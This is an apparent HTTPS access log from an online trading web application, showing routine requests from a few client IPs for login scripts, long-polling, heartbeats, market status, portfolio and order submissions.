[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767939235493 HTTP/1.1" 3188
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:09:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939234994 HTTP/1.1" -
[09/Jan/2026:14:09:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939255231 HTTP/1.1" -
[09/Jan/2026:14:09:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939246183 HTTP/1.1" -
[09/Jan/2026:14:09:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939239838 HTTP/1.1" -
[09/Jan/2026:14:09:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939240022 HTTP/1.1" -
[09/Jan/2026:14:09:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939260307 HTTP/1.1" -
[09/Jan/2026:14:09:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939251531 HTTP/1.1" -
[09/Jan/2026:14:09:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:09:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939244970 HTTP/1.1" -
[09/Jan/2026:14:09:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939245102 HTTP/1.1" -
[09/Jan/2026:14:09:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:09:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1951
[09/Jan/2026:14:09:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939265378 HTTP/1.1" -
[09/Jan/2026:14:09:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939256616 HTTP/1.1" -
[09/Jan/2026:14:09:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939250080 HTTP/1.1" -
[09/Jan/2026:14:09:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:09:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:09:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939250169 HTTP/1.1" -
[09/Jan/2026:14:09:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 305
[09/Jan/2026:14:09:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:14:09:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939261705 HTTP/1.1" -
[09/Jan/2026:14:09:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939255124 HTTP/1.1" -
[09/Jan/2026:14:09:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939271186 HTTP/1.1" -
[09/Jan/2026:14:09:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939255236 HTTP/1.1" -
[09/Jan/2026:14:09:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:09:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:09:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1226
[09/Jan/2026:14:09:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:09:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939266731 HTTP/1.1" -
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939260180 HTTP/1.1" -
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:14:09:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:09:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1014
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:09:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939277191 HTTP/1.1" -
[09/Jan/2026:14:09:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939260296 HTTP/1.1" -
[09/Jan/2026:14:09:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:09:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1817
[09/Jan/2026:14:09:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:09:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:09:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939271799 HTTP/1.1" -
[09/Jan/2026:14:09:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939265228 HTTP/1.1" -
[09/Jan/2026:14:09:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939265370 HTTP/1.1" -
[09/Jan/2026:14:09:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939283185 HTTP/1.1" -
[09/Jan/2026:14:10:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939276828 HTTP/1.1" -
[09/Jan/2026:14:10:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939270334 HTTP/1.1" -
[09/Jan/2026:14:10:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939270409 HTTP/1.1" -
[09/Jan/2026:14:10:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939288248 HTTP/1.1" -
[09/Jan/2026:14:10:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:10:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939281901 HTTP/1.1" -
[09/Jan/2026:14:10:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939275462 HTTP/1.1" -
[09/Jan/2026:14:10:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939275448 HTTP/1.1" -
[09/Jan/2026:14:10:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939293305 HTTP/1.1" -
[09/Jan/2026:14:10:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939286998 HTTP/1.1" -
[09/Jan/2026:14:10:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:10:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:10:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939280534 HTTP/1.1" -
[09/Jan/2026:14:10:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939280521 HTTP/1.1" -
[09/Jan/2026:14:10:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939298367 HTTP/1.1" -
[09/Jan/2026:14:10:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939292063 HTTP/1.1" -
[09/Jan/2026:14:10:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939285659 HTTP/1.1" -
[09/Jan/2026:14:10:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939285594 HTTP/1.1" -
[09/Jan/2026:14:10:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939303398 HTTP/1.1" -
[09/Jan/2026:14:10:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:10:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
